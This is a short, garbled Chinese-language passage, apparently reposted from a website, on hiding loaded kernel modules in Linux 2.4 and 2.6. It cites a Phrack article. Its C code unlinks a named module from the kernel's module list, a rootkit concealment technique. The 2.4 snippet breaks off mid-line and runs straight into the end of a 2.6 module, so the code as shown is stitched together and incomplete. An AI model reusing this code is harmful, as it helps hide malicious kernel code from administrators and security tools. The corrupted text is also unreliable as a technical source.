2.6内核与2.4内核相比,有了许多变化,模块部分的实现完全重写,结构也有了一些变化。2.4内核中模块隐藏的方式为:(参考madsys的phrack 61-03) strUCt module *p; for (p=&__this_module; p->next; p=p->next) { if (strcmp(p->next->name, str)) continue; p->next=p->next->next; // name, mod_name) == 0){ list_del(p); printk("remove module %s successfully.\n", mod_name); return 0; } } printk("Can't find module %s.\n", mod_name); return 0; } static void remove_exit(void) { } module_init(remove_init); module_exit(remove_exit); MODULE_LICENSE("Dual BSD/GPL");
(出处:http://www.sheup.com)